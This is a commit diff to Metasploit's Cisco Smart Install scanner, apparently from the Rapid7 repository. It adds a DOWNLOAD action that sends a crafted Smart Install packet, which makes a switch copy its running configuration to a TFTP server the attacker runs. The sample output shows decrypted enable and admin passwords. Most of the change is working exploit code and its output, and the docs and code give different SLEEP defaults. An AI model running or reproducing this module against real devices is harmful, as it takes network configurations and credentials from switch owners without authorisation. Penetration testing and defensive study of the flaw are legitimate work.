Skip to content

Commit a33ed82

Browse files
committed
Land rapid7#9214, @realoriginal's update to the Cisco SMI scanner to also fetch Cisco IOS configs
2 parents e9b9c80 + 43ff4f1 commit a33ed82

File tree

2 files changed

+115
-8
lines changed

2 files changed

+115
-8
lines changed

documentation/modules/auxiliary/scanner/misc/cisco_smart_install.md

Lines changed: 32 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -5,13 +5,28 @@
55
## Verification Steps
66

77
1. Do: ```use auxiliary/scanner/misc/cisco_smart_install```
8-
2. Do: ```set [RHOSTS]```, replacing ```[RHOSTS]``` with a list of hosts to test for the presence of SMI
8+
2. Do: ```set ACTION SCAN```
9+
3. Do: ```set [RHOSTS]```, replacing ```[RHOSTS]``` with a list of hosts to test for the presence of SMI
910
3. Do: ```run```
1011
4. If the host is exposing an identifiable SMI instance, it will print the endpoint.
1112

13+
## Options
14+
15+
### SLEEP
16+
Time to wait for connection back from target. Default is `60` seconds if using `DOWNLOAD` action
17+
18+
### LHOST
19+
Address to bind to for TFTP server to accept connections if using `DOWNLOAD` action
20+
21+
## Actions
22+
There are two actions, default being ```SCAN```
23+
24+
1. **SCAN** - Scan for Smart Install endpoints. [Default]
25+
2. **DOWNLOAD** - Request devices configuration and send to our TFTP server
1226

1327
## Scenarios
1428

29+
Using the default `SCAN` action
1530
```
1631
msf auxiliary(cisco_smart_install) > run
1732
@@ -28,3 +43,19 @@ msf auxiliary(cisco_smart_install) > run
2843
[*] Scanned 512 of 512 hosts (100% complete)
2944
[*] Auxiliary module execution completed
3045
```
46+
47+
Using the `DOWNLOAD` action
48+
49+
```
50+
[*] 192.168.0.26:4786 - Starting TFTP Server...
51+
[+] 192.168.0.26:4786 - Fingerprinted the Cisco Smart Install protocol
52+
[*] 192.168.0.26:4786 - Attempting copy system:running-config tftp://192.168.0.11/kWqjngYF
53+
[*] 192.168.0.26:4786 - Waiting 60 seconds for configuration
54+
[*] 192.168.0.26:4786 - Incoming file from 192.168.0.26 - kWqjngYF (31036 bytes)
55+
[+] 192.168.0.26:4786 - 192.168.0.26:4786 Decrypted Enable Password: testcase
56+
[+] 192.168.0.26:4786 - 192.168.0.26:4786 Username 'admin' with Decrypted Password: testcase)
57+
[*] 192.168.0.26:4786 - Providing some time for transfers to complete...
58+
[*] 192.168.0.26:4786 - Shutting down the TFTP service...
59+
[*] Scanned 1 of 1 hosts (100% complete)
60+
[*] Auxiliary module execution completed
61+
```

modules/auxiliary/scanner/misc/cisco_smart_install.rb

Lines changed: 83 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -5,6 +5,7 @@
55

66
class MetasploitModule < Msf::Auxiliary
77
include Msf::Exploit::Remote::Tcp
8+
include Msf::Auxiliary::Cisco
89
include Msf::Auxiliary::Scanner
910
include Msf::Auxiliary::Report
1011

@@ -18,7 +19,7 @@ def initialize(info = {})
1819
and determines if it speaks the Smart Install Protocol. Exposure of SMI
1920
to untrusted networks can allow complete compromise of the switch.
2021
),
21-
'Author' => 'Jon Hart <jon_hart[at]rapid7.com>',
22+
'Author' => ['Jon Hart <jon_hart[at]rapid7.com>', 'Mumbai'],
2223
'References' =>
2324
[
2425
['URL', 'https://blog.talosintelligence.com/2017/02/cisco-coverage-for-smart-install-client.html'],
@@ -28,13 +29,21 @@ def initialize(info = {})
2829
['URL', 'https://github.com/Sab0tag3d/SIET']
2930

3031
],
31-
'License' => MSF_LICENSE
32+
'License' => MSF_LICENSE,
33+
'DefaultAction' => 'SCAN',
34+
'Actions' => [
35+
['SCAN', {'Description' => 'Scan for instances communicating via Smart Install Protocol (default)'}],
36+
['DOWNLOAD', {'Description' => 'Retrieve configuration via Smart Install Protocol'}]
37+
],
3238
)
3339
)
3440

3541
register_options(
3642
[
37-
Opt::RPORT(4786)
43+
Opt::RPORT(4786),
44+
OptAddressLocal.new('LHOST', [ false, "The IP address of the system running this module" ]),
45+
OptInt.new('SLEEP', [ true, "Time to wait for config to come back", 10]),
46+
OptString.new('CONFIG', [ true, "The source config to copy when using DOWNLOAD", "system:running-config" ])
3847
]
3948
)
4049
end
@@ -46,7 +55,7 @@ def smi?
4655
sock.puts(SMI_PROBE)
4756
response = sock.get_once(-1)
4857
if response
49-
if SMI_RE.match?(response)
58+
if SMI_RE.match(response)
5059
print_good("Fingerprinted the Cisco Smart Install protocol")
5160
return true
5261
else
@@ -57,10 +66,77 @@ def smi?
5766
end
5867
end
5968

60-
def run_host(_ip)
69+
def start_tftp
70+
print_status("Starting TFTP Server...")
71+
@tftp = Rex::Proto::TFTP::Server.new(69, '0.0.0.0', { 'Msf' => framework, 'MsfExploit' => self })
72+
@tftp.incoming_file_hook = Proc.new{|info| process_incoming(info) }
73+
@tftp.start
74+
add_socket(@tftp.sock)
75+
@main_thread = ::Thread.current
76+
end
77+
78+
def cleanup
79+
# Cleanup is called once for every single thread
80+
if ::Thread.current == @main_thread
81+
# Wait 5 seconds for background transfers to complete
82+
print_status("Providing some time for transfers to complete...")
83+
sleep(5)
84+
85+
if @tftp
86+
print_status("Shutting down the TFTP service...")
87+
@tftp.close rescue nil
88+
@tftp = nil
89+
end
90+
end
91+
end
92+
93+
#
94+
# Callback for incoming files
95+
#
96+
def process_incoming(info)
97+
return if not info[:file]
98+
name = info[:file][:name]
99+
data = info[:file][:data]
100+
from = info[:from]
101+
return if not (name && data && from)
102+
103+
# Trim off IPv6 mapped IPv4 if necessary
104+
from = from[0].dup
105+
from.gsub!('::ffff:', '')
106+
107+
print_status("Incoming file from #{from} - #{name} (#{data.length} bytes)")
108+
cisco_ios_config_eater(from, rport, data)
109+
end
110+
111+
def decode_hex(string)
112+
string.scan(/../).map { |x| x.hex }.pack('c*')
113+
end
114+
115+
def request_config(tftp_server, config)
116+
copy_config = "copy #{config} tftp://#{tftp_server}/#{Rex::Text.rand_text_alpha(8)}"
117+
packet_header = '00000001000000010000000800000408000100140000000100000000fc99473786600000000303f4'
118+
packet = (decode_hex(packet_header) + copy_config + decode_hex(('00' * (336 - copy_config.length)))) + (decode_hex(('00' * (336)))) + (decode_hex(('00' * 336)))
119+
print_status("Attempting #{copy_config}")
120+
sock.put(packet)
121+
end
122+
123+
def run_host(ip)
61124
begin
62-
connect
63-
return unless smi?
125+
case
126+
when action.name == 'SCAN'
127+
connect
128+
return unless smi?
129+
when action.name == 'DOWNLOAD'
130+
start_tftp
131+
connect
132+
return unless smi?
133+
disconnect # cant send any additional packets, so closing
134+
connect
135+
tftp_server = datastore['LHOST'] || Rex::Socket.source_address(ip)
136+
request_config(tftp_server, datastore['CONFIG'])
137+
print_status("Waiting #{datastore['SLEEP']} seconds for configuration")
138+
Rex.sleep(datastore['SLEEP'])
139+
end
64140
rescue Rex::AddressInUse, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, \
65141
::Errno::ETIMEDOUT, ::Timeout::Error, ::EOFError => e
66142
vprint_error("error while connecting and negotiating Cisco Smart Install: #{e}")

0 commit comments

Comments
 (0)